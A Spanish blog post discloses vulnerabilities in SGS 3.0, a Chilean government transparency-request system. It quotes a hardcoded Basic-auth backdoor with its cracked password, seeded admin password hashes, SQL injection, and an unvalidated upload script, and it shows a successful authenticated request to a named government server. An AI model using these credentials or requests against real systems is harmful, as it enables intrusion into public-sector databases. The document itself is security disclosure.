Con el fin de cumplir con la Ley 20.285 mas conocida como Ley de Transparencia, el gobierno desarrolló un sistema web el cual debía ser implementado por distintas instituciones del gobierno. El sistema es conocido como Sistema de Gestión de Solicitudes o mas bien SGS y dentro de las instituciones que lo utilizan esta el Servicio Nacional de la Mujer, Ministerio de Transporte, Ministerio Secretaría General de la Repulica, Ministerio de Justicia, DIPRES, Secretaría General de Gobierno, Fonasa, entre otros.

De acuerdo a lo descrito en el sitio web del sistema: Fue diseñado para que los órganos y servicios de la Administración Central del Estado dispongan de una herramienta para gestionar y controlar adecuadamente los procedimientos de recepción, derivación y respuesta de las solicitudes de acceso a la información.

En el post pasado di a conocer que este sistema era vulnerable a distintos tipos de ataques, pero no entregué detalles al respecto. En el primer aviso que envié a los responsables les solicité que les avisaran a todas las instituciones publicas que utilizaban este sistema para que estuvieran al tanto de los agujeros de seguridad y para que puedan tomar sus propias medidas de seguridad mientras el software SGS se parchaba, luego en una reunión que tuve de forma presencial con ellos (interior+segpres) tambien les mencioné lo mismo y finalmente tambien se lo mencioné a una persona encargada de la Unidad de Modernización y Gobierno Digital. Nadie le tomo el peso al asunto y no se les avisó, por lo tanto decidí publicar que el sistema era vulnerable; aunque sin mencionar los detalles ya que me había comprometido a darles tiempo antes de publicar cada vulnerabilidad detectada.

Bueno, horas despues de haber hecho publico, los responsables enviaron un comunicado a las instituciones publicas indicando que temporalmente el sistema sería dado de baja y dentro de los próximos dias iban a comunicar los pasos a seguir para una solución definitiva. Un par de dias despues enviaron otro comunicado indicando que el sistema fue dado de baja de manera permanente y que en un par de meses ibana disponibilizar otro sistema bajo otra modalidad: As A Service, es decir, un servidor centralizado, administrado por ellos, donde cada institución tendrá su “espacio“. Claramente esto no soluciona las vulnerabilidades, simplemente las “esconde”. El código fuente dejará de estar disponible bajo Software Público, es decir, nadie lo podrá descargar y analizar.

Los responsables del SGS tuvieron acceso al texto que leeran a continuación hace un par de semanas, sin embargo, tenian conocimiento de estas y otras vulnerabilidades desde Junio del 2014, ya que se les notificó.

El sistema SGS estaba disponible bajo el repositorio de SoftwarePúblico y se puede descargar su version 3.0: https://www.softwarepublico.cl/aplicaciones/sistema-de-gestion-de-solicitudes-de-transparencia-version-30.

El software una vez descomprimido tiene un tamaño de 121MB, incluye archivos txt, php, sql, xml, png, de los cuales muchos archivos son de prueba y no deberian estar en un paquete que se entrega para poner en producción.

Por ejemplo solo en la raíz del proyecto encontramos los archivos

prueba.php
prueba2.php
pruebaDecode.php
prueba_archivo.php
prueba_inserta.php

Hay dos archivos que me llamaron la atención, los dos últimos. En el caso de prueba_inserta.php encontré un par de cosas bien extrañas

include("lib/connect_db.inc.php");
include("lib/lib.sgs.php");
include("lib/lib.inc.php");
include("lib/lib.inc2.php");

$id_auto_admin= id_tabla('usuario');
echo $id_auto_admin;
$_POST['id_auto_admin']=$id_auto_admin;

$_POST['nombre']= "PRUEBA";
$_POST['paterno']= "PRUEBA";
$password = md5('123456');
$_POST['password']= $password;
$_POST['establecimiento']=11;
$_POST['estado']=0;

$_POST['id_perfil']=2;//2 usuario perfil papel
$_POST['session']="xx"."hola";


$_POST['fecha_crea '] = date(Y)."-".date(m)."-".date(d);
//echo $query_vta;
inserta('usuario',1);

En las primeras lineas de puede ver que llama a distintos archivos a modo de “librerias”, luego setea los parametros simulando que fueron recibidos por POST y finalmente llama a la funcion inserta(). Esta funcion la encontramos en el archivo lib/lib.inc.php.

Dentro del paquete de software tambien existen archivos SQL, los cuales contienen la estructura de la base de datos que debe ser cargada antes de implementar el sistema. Esto es normal en este tipo de implementaciones, lo que no es normal es que el SQL venga con datos REALES. Por ejemplo, el SQL crea un par de usuarios de forma arbitraria sin pedirle autorización a nadie. Estos usuarios quedan como administradores del sistema. Por ejemplo, en el archivo sgs3_utf8.sql encomtramos lo siguiente:

INSERT INTO `usuario` (`id_usuario`, `login`, `password`, `id_perfil`, `establecimiento`, `nombre`, `apellido`, `paterno`, `materno`, `razon_social`, `apoderado`, `email`, `session`, `rut`, `fecha_nac`, `edad`, `estado_civil`, `direccion`, `numero`, `depto`, `fono`, `hijos`, `ocupacion`, `escolaridad`, `estado`, `celular`, `orden`, `equipo`, `id_region`, `ciudad`, `id_comuna`, `comuna`, `codigo`, `telefono`, `id_ocupacion`, `id_rango_edad`, `id_sexo`, `id_nacionalidad`, `id_nivel_educacional`, `id_organizacion`, `id_frecuencia_organizacion`, `fecha_crea`, `fecha_ingreso`, `id_tipo_persona`, `id_entidad_padre`, `id_entidad`, `id_sucursal_ips`, `id_departamento`, `id_pais`, `id_materia`, `id_canales`, `etapa_session`, `id_submateria`, `clave_unica`) VALUES
(1, 'cvega', '0df9febf5ed1983c6e1a6ec04132c2ec', '999', 11, 'Claudio', 'Vega', '', '', '', '', 'cvega@minsegpres.cl', '', '', '0000-00-00', 0, '', '', '', '', '', 0, '', '', 1, '', 0, '', 0, '', 0, '', '', '', 0, 0, 0, 0, 0, 0, 0, '0000-00-00', '0000-00-00', 0, 0, 0, 0, 0, 0, '', '', 0, '', 0),
(2, 'responsable@servicio.gov.cl', 'e10adc3949ba59abbe56e057f20f883e', '5', 11, 'Responsable', '', '', '', '', '', '', '', '', '0000-00-00', 0, '', '', '', '', '', 0, '', '', 1, '', 0, '', 0, '', 0, '', '', '', 0, 0, 0, 0, 0, 0, 0, '0000-00-00', '0000-00-00', 0, 6, 128, 0, 0, 0, '', '', 0, '', 0),
(3, 'asignador@servicio.gov.cl', 'e10adc3949ba59abbe56e057f20f883e', '1003', 11, 'Asignador', '', '', '', '', '', '', '', '', '0000-00-00', 0, '', '', '', '', '', 0, '', '', 1, '', 0, '', 0, '', 0, '', '', '', 0, 0, 0, 0, 0, 0, 0, '0000-00-00', '0000-00-00', 0, 6, 128, 0, 0, 0, '', '', 0, '', 0),
(4, 'admin@servicio.gov.cl', 'e10adc3949ba59abbe56e057f20f883e', '1004', 11, 'Admin', '', '', '', '', '', '', 'nbgri0l986ntovk9m0bgv9p011', '', '0000-00-00', 0, '', '', '', '', '', 0, '', '', 1, '', 0, '', 0, '', 0, '', '', '', 0, 0, 0, 0, 0, 0, 0, '0000-00-00', '0000-00-00', 0, 6, 128, 0, 0, 0, '', '', 0, '', 0),
(5, 'solicitante@gmail.com', 'e10adc3949ba59abbe56e057f20f883e', '1', 0, 'Solicitante', '', '', '', '', '', '', '', '', '0000-00-00', 0, '', '', '', '', '', 0, '', '', 1, '', 0, '', 0, '', 0, '', '', '', 0, 0, 0, 0, 0, 0, 0, '0000-00-00', '0000-00-00', 0, 6, 128, 0, 0, 0, '', '', 0, '', 0),
(6, 'digitador@servicio.gov.cl', 'e10adc3949ba59abbe56e057f20f883e', '1005', 0, 'Digitador', '', '', '', '', '', '', '', '', '0000-00-00', 0, '', '', '', '', '', 0, '', '', 1, '', 0, '', 0, '', 0, '', '', '', 0, 0, 0, 0, 0, 0, 0, '0000-00-00', '0000-00-00', 0, 6, 128, 0, 0, 0, '', '', 0, '', 0),
(7, 'jefatura@servicio.gov.cl', 'e10adc3949ba59abbe56e057f20f883e', '1001', 0, 'Jefatura', '', '', '', '', '', '', '', '', '0000-00-00', 0, '', '', '', '', '', 0, '', '', 1, '', 0, '', 0, '', 0, '', '', '', 0, 0, 0, 0, 0, 0, 0, '0000-00-00', '0000-00-00', 0, 6, 128, 0, 0, 0, '', '', 0, '', 0),
(41, 'indicador@dipres.cl', '426a1c123f1c2f1d3bcbc2ad11c68366', '1078', 0, 'Indicador', '', 'Transparencia', 'Dipres', '', '', 'indicador@dipres.cl', 'af4r8pcpuf5ufa1vdnt089ma46', '', '0000-00-00', 0, '', '', '', '', '', 0, '', '', 1, '', 115, '', 0, '', 0, '', '', '', 0, 0, 0, 0, 0, 0, 0, '0000-00-00', '0000-00-00', 1, 6, 128, 0, 0, 0, '', '', 0, '', 0);

Basicamente inserta 8 usuarios iniciales al sistema. Es normal que se creen usuarios genericos, lo que no es normal es que dentro del script SQL vaya una instruccion para crear el usuario de una persona en especifico, como aparece en el primer registro

(1, 'cvega', '0df9febf5ed1983c6e1a6ec04132c2ec', '999', 11, 'Claudio', 'Vega', '', '', '', '', 'cvega@minsegpres.cl', '', '', '0000-00-00', 0, '', '', '', '', '', 0, '', '', 1, '', 0, '', 0, '', 0, '', '', '', 0, 0, 0, 0, 0, 0, 0, '0000-00-00', '0000-00-00', 0, 0, 0, 0, 0, 0, '', '', 0, '', 0),

Lo unico que tenemos que hacer para obtener el valor del hash md5 correspondiente a la clave es ponerlo en Google y si es una clave generica y facil de adivinar, podremos descifrarla gracias a una rainbow table. Por ejemplo, google me derivó al sitio https://www.md5this.com/list.php?page=86782&key=1&author=ToXiC&country=Cyprus&city=Nicosia donde se puede ver que la clave es facil de descifrar.

Como aparece en el sitio, descifrada desde el 9 de Febrero del 2012. Lo peor y lo mas feo de todo esto, es que el usuario tiene permiso administrador y si la base de datos fue cargada en cada institucion del gobierno es posible iniciar sesión al SGS con perfil administrador gracias a cvega. Los otros usuarios que tienen el hash e10adc3949ba59abbe56e057f20f883e corresponde a una clave aun más facil: 123456.

Si seguimos con los archivos php, encomtramos otro llamado tablas.php:

< ?php
include("lib/connect_db.inc.php");
include("lib/lib.inc.php");
include("lib/lib.inc2.php");
 $tables = mysql_list_tables( $DATABASE );                                      //conexion con la base de datos
                while( $line = mysql_fetch_row($tables) )
{
                $tabla = $line[0];
                 $sql = "SELECT * FROM $tabla";
                        $qry = cms_query($sql)or die (error($query,mysql_error(),$php));
                        $num_filas = mysql_num_fields($qry);
        $lista_campos="";
 for ($i = 0; $i < $num_filas; $i++){                   //el num_filas cuenta la cantidad de campos que tiene una tabla 
      $nom_campo = mysql_field_name($qry,$i);           //y luego va sacando los datos que hay en cada campo
          $flag      = mysql_field_flags($qry,$i);
          $largo     = mysql_field_len($qry,$i);
          $tipo      = mysql_field_type($qry,$i);
        $lista_campos .="$nom_campo#$tipo,";
   }
          $lista_campos= elimina_ultimo_caracter($lista_campos);
   echo "$tabla,$num_filas,$lista_campos\n";
}
?>

Basicamente lo que hace es listar las tablas y sus campos directamente desde la base de datos, sin validación de usuario ni ningun tipo de seguridad.

Ahora pasamos a algun mas critico. El archivo tablag.php:

[...]
  $tabla = $_GET['tabla'];
echo mysql_dump2($DATABASE,$tabla);
[...]

Muy facil! Llamemos al archivo tablag.php?tabla=NOMBRE_DE_LA_TABLA y me listara la informacion relacionada a esa tabla. Lo que hace la funcion mysql_dump2(), definida en el mismo archivo tablag.php se describe en 4 simples lineas:

 $results = cms_query('DESCRIBE ' .  $row[0]);
                         $query .='CREATE TABLE ' .  $row[0] . ' (' ;
                         $tmp = '';
                        while ($row = @mysql_fetch_assoc($results)) {

Nos muestra la salida del “DESCRIBE” y lo mas raro de todo es ese “CREATE TABLE” que anda dando vueltas …

El archivo “acceso.php” tiene instrucciones de pruebas para una autenticacion a nivel de cabeceras manejada por php

 if (!isset($_SERVER['PHP_AUTH_USER'])) {
                header('WWW-Authenticate: Basic realm="My Realm"');
                header('HTTP/1.0 401 Unauthorized');
                echo 'No autorizado';
                exit;
                }
                else {
                        if ($_SERVER['PHP_AUTH_USER']=='minsegpres' && sha1($_SERVER['PHP_AUTH_PW'])=='7c4a8d09ca3762af61e59520943dc26494f8941b'){
                        echo "Hola Acceso";
                        return;
                        }
                    else{
                        header('WWW-Authenticate: Basic realm="My Realm"');
                        header('HTTP/1.0 401 Unauthorized');
                        echo 'No autorizado';
                        exit;
                    }
                }

Simplemente valida que si el usuario entregado por la cabecera “WWW-Authenticate” es igual a minsegpres y si la password en sha1 corresponde a 7c4a8d09ca3762af61e59520943dc26494f8941b, entonces muestra el mensaje “Hola Acceso”, de lo contrario dice “No autorizado”. Ese hash en SHA1 corresponde a 123456, por lo tanto asumo que es de pruebas. Si bien ese hash no se utiliza en alguna funcion del sistema, este archivo no deberia estar ahi.
Ahora salta la duda… Si los desarrolladores estaban haciendo pruebas para este tipo de autenticacion probablemente exista alguna funcionalidad dentro del sistema que lo requiera. Basta con buscar recursivamente entre los archivos php la palabra “minsegpres” y filtrar por lo que a mi me interesa y encontre 8 archivos interesantes

acceso.php:			if ($_SERVER['PHP_AUTH_USER']=='minsegpres' && sha1($_SERVER['PHP_AUTH_PW'])=='7c4a8d09ca3762af61e59520943dc26494f8941b'){
deuman/patch/listado.php:		if ($_SERVER['PHP_AUTH_USER']=='minsegpres' && md5($_SERVER['PHP_AUTH_PW'])=='01b2fd3cfae597cb856983b8af0858bd' ){
sgs/estadistica/estadistica.php:			//if ($_SERVER['PHP_AUTH_USER']=='minsegpres' && md5($_SERVER['PHP_AUTH_PW'])=='e10adc3949ba59abbe56e057f20f883e' and $_SERVER['REMOTE_ADDR']=='163.247.57.10'){
sgs/estadistica/estadistica.php:			if ($_SERVER['PHP_AUTH_USER']=='minsegpres' && md5($_SERVER['PHP_AUTH_PW'])=='01b2fd3cfae597cb856983b8af0858bd' ){
sgs/estadistica/estadistica2.php:			//if ($_SERVER['PHP_AUTH_USER']=='minsegpres' && md5($_SERVER['PHP_AUTH_PW'])=='e10adc3949ba59abbe56e057f20f883e' and $_SERVER['REMOTE_ADDR']=='163.247.57.10'){
sgs/estadistica/estadistica2.php:			if ($_SERVER['PHP_AUTH_USER']=='minsegpres' && md5($_SERVER['PHP_AUTH_PW'])=='01b2fd3cfae597cb856983b8af0858bd' ){
sgs/portal/actualizacion.php:			//if ($_SERVER['PHP_AUTH_USER']=='minsegpres' && md5($_SERVER['PHP_AUTH_PW'])=='e10adc3949ba59abbe56e057f20f883e' and $_SERVER['REMOTE_ADDR']=='163.247.57.10'){
sgs/portal/actualizacion.php:			if ($_SERVER['PHP_AUTH_USER']=='minsegpres' && md5($_SERVER['PHP_AUTH_PW'])=='01b2fd3cfae597cb856983b8af0858bd' ){

Estos archivos hacen referencia al mismo mecanismo de autenticacion, con el mismo usuario ‘minsegpres’ pero con distinto hash SHA1. Sin dedicar mucho esfuerzo y simplemente googleando el hash, podemos obtener el inverso:

7c4a8d09ca3762af61e59520943dc26494f8941b -> SHA1(123456)
e10adc3949ba59abbe56e057f20f883e -> md5(123456)

El unico que no se pudo invertir fue 01b2fd3cfae597cb856983b8af0858bd, por lo que asumo que es una clave real que se utiliza para algo en particular.
Si nos ponemos ingeniosos y pensamos como el desarrollador, tomamos la clave que encontramos en google “askivour” y reemplazamos la transformamos a lenguaje l33t, nos queda: 4sk1v0ur y que conindicencia! El hash MD5 de esa palalabra es lo que estabaoms buscando:

md5(4sk1v0ur) -> 01b2fd3cfae597cb856983b8af0858bd

Por lo tanto, ya tenemos acceso a esas funcionalidades gracias a este backdoor dejado por el amigo programador.

Revisando uno de los archivos que utiliza ese hash, por ejemplo sgs/estadistica/estadistica.php, encontramos:

                        //if ($_SERVER['PHP_AUTH_USER']=='minsegpres' && md5($_SERVER['PHP_AUTH_PW'])=='e10adc3949ba59abbe56e057f20f883e' and $_SERVER['REMOTE_ADDR']=='163.247.57.10'){
                        //Aqui debe ir el codigo que genera el XML
                        if ($_SERVER['PHP_AUTH_USER']=='minsegpres' && md5($_SERVER['PHP_AUTH_PW'])=='01b2fd3cfae597cb856983b8af0858bd' ){

Las lineas comentadas hacian referencia a una direccion IP, validaba en algun momento que la direccion IP de origen sea 163.247.57.10, sin embargo, se encuentra comentada por lo que solo valida user-pass. La IP corresponde al Ministerio del Interior.

Por lo tanto asumimos que todas las instituciones que utilizan este sistema estan siendo “monitoreadas” mediante esta puerta trasera.
Este mismo acceso se utiliza para distintas funciones

deuman/patch/listado.php
sgs/estadistica/estadistica.php
sgs/estadistica/estadistica2.php
sgs/portal/actualizacion.php

Verifiquemos la informacion realizando pruebas con alguna institución de forma aleatoria, por ejemplo la Subtel. Enviamos un request a https://sgs.subtel.gob.cl/sgs/estadistica/estadistica.php:

> GET /sgs/estadistica/estadistica.php HTTP/1.1
> User-Agent: curl/7.39.0
> Host: sgs.subtel.gob.cl
> Accept: */*

Y obtenemos la respuesta “No autorizado” por parte del servidor.

< HTTP/1.0 401 Unauthorized
< Date: Wed, 14 Jan 2015 20:57:21 GMT
< Server: Apache/2.2.22 (Ubuntu) —> CUECK!
< X-Powered-By: PHP/5.3.10-1ubuntu3.14 —> CUECK!
< WWW-Authenticate: Basic realm=”Minsegpres”
< Vary: Accept-Encoding
< Content-Length: 13
< Connection: close
< Content-Type: text/html

Si ahora le pasamos los parametros user=minsegpres,pass=4sk1v0ur

> GET /sgs/estadistica/estadistica.php HTTP/1.1
> Authorization: Basic bWluc2VncHJlczo0c2sxdjB1cg==
> User-Agent: curl/7.39.0
> Host: sgs.subtel.gob.cl
> Accept: */*

Acceso obtenido!

< HTTP/1.1 200 OK
< Date: Wed, 14 Jan 2015 20:59:55 GMT
< Server: Apache/2.2.22 (Ubuntu)
< X-Powered-By: PHP/5.3.10-1ubuntu3.14
< Set-Cookie: PHPSESSID=862qjmgqb61bqp8lasg8j82sq4; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 90
< Content-Type: text/xml

El impacto que tiene esto es muy critico, ya que estas funcionalidades fueron programadas desde el punto de vista que “nadie mas va a acceder” por lo tanto la seguridad es nula. En el caso de este misom archivo estadistica.php, lo que hace es obtener asignarle a la variable $id_entidad el valor que nosotros le entreguemos por GET y luego llama a la funcion procesarSolicitudes() pasandole el parametro que nosotros le entregamos por GET. Lo que hace procesarSolicitudes() es magicamente lo siguiente:

   $sql = "Select id_entidad,id_sub_estado_solicitud,fecha_termino,folio,fecha_inicio
                                from sgs_solicitud_acceso
                                where id_entidad = '$id_entidad_funcion'        
                                order by fecha_termino desc";

Esta haciendo un SELECT directamente en la base de datos con nuestro parametro entregado por GET! No filtra, no escapa caracteres, no valida, lo hace tal como nosotros se lo entregamos. Esto es un evidente SQL Injection.

Sigo recorriendo en busca de archivos “sospechosos” y encuentro un par de script para subir archivos. Yo creo que ni si quiera deberia decirlo porque a estas alturas ya lo deben asumir… ¡Sin validar!

Esto es una obra de arte, archivo deuman/importar_excel/sube_excel.php:

$file_name= $_FILES['archivo_excel']['name'];
$file= $_FILES['archivo_excel']['tmp_name'];


$carpeta = "deuman/importar_excel/temp";


if(is_dir($carpeta)){
        @chmod($carpeta, 0777);
}else{
        @mkdir($carpeta);
        @chmod($carpeta, 0777);
}
             $file2 = ereg_replace('&','*',$file_name);
                 $file2 = ereg_replace(' ',':',$file_name);
                 //echo "$carpeta/$file2";
                 if (!copy($file, "$carpeta/$file_name")){

                 $contenido = "Fallo, La file chica no se a podido subir al servidor. 
                 La file chica no existe o es muy grande.
                 file temp: $file
 file nombre : $file_name";
                 }

En simples palabras:

1) Si $carpeta no existe, la crea y le da permisos 777. Si existe, le cambia los permisos a 777.
2) Toma el archivo subido mediante un formulario con el nombre “archivo_excel”
3) Deja el archivo en $carpeta/$file_name

Si continuo describiendo las fallas archivo por archivo no voy a terminar nunca, por lo que resumire un poco el cuento.
Los archivos no validan el acceso directo ni tampoco validan correctamente la sesion del usuario, por lo que es posible acceder a funcionalidades que requieren privilegios avanzados sin usuario ni clave.
Como ya vieron el caso del SQL-Injection, el 90% del sistema no valida los parametros de entrada, por lo que todas las funcionalidades son vulnerables a Cross-Site Scripting Reflected y Persistent. Existen al menos 25 vulnerabilidades SQL-Injection, existen mas archivos con problemas de validacion al momento de realizar una carga o un upload y me atreveria a decir que el 30% de los archivos que existen dentro del proyecto no son necesarios.

Como conclusion, los problemas que tiene este sistema son:

1) Permite acceder como administrador a cualquier SGS instalado
2) Permite acceder a funciones de monitoreo y rescate de informacion confidencial mediante una puerta trasera que no tiene el nivel de seguridad suficiente
3) Permite realizar ataques de SQL Injection y de esta forma poder acceder a cualquier tabla y registro de la base de datos
4) Utiliza contraseñas debiles
5) No cuenta con un estandar minimo de seguridad ni de buenas practicas
6) Es vulnerable a ataques que comprometen la seguridad, integridad y confidencialidad de los datos, servidor y de los propios usuarios y administradores del sistema.
7) Las vulnerabilidades detectadas comprometen no solo al SGS, sino que tambien a todos los otros sistemas que existan en el servidor o incluso a otros servidores dentro de la red, ya que permite tomar control remoto de los servidores de manera muy facil y rapida mediante una SHELL PHP.

Esta es una lista de las instituciones que usan este sistema